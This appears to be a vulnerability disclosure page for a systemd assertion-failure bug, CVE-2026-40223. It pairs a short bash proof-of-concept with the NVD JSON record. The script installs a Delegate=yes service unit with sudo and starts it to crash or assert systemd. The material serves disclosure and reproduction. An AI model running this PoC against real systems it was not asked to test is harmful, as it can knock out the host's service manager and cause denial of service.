CVE-2026-40223

#!/bin/bash # PoC for CVE-2026-40223: systemd assertion failure PoC SERVICE_NAME="poc-cve-2026-40223.service" SERVICE_FILE="/etc/systemd/system/$SERVICE_NAME" # Create a unit file with Delegate=yes and no User set echo "[Unit]" | sudo tee $SERVICE_FILE > /dev/null echo "Description=PoC for CVE-2026-40223" | sudo tee -a $SERVICE_FILE > /dev/null echo "[Service]" | sudo tee -a $SERVICE_FILE > /dev/null echo "Type=simple" | sudo tee -a $SERVICE_FILE > /dev/null echo "Delegate=yes" | sudo tee -a $SERVICE_FILE > /dev/null echo "ExecStart=/usr/bin/sleep 300" | sudo tee -a $SERVICE_FILE > /dev/null # Reload systemd and start the service to trigger the bug sudo systemctl daemon-reload sudo systemctl start $SERVICE_NAME echo "Service started. If vulnerable, systemd may crash or trigger an assert."

{"cve": {"id": "CVE-2026-40223", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:32.930", "lastModified": "2026-04-27T19:08:41.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In systemd 258 before 260, a local unprivileged user can trigger an assert when a Delegate=yes and User=<unset> unit exists and is running."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-696"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:*", "versionStartIncluding": "258", "versionEndExcluding": "260", "matchCriteriaId": "E2621BCA-34B9-4D4C-9A73-C79D3931E849"}]}]}], "references": [{"url": "https://github.com/systemd/systemd/security/advisories/GHSA-x4h8-rrrg-q78f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}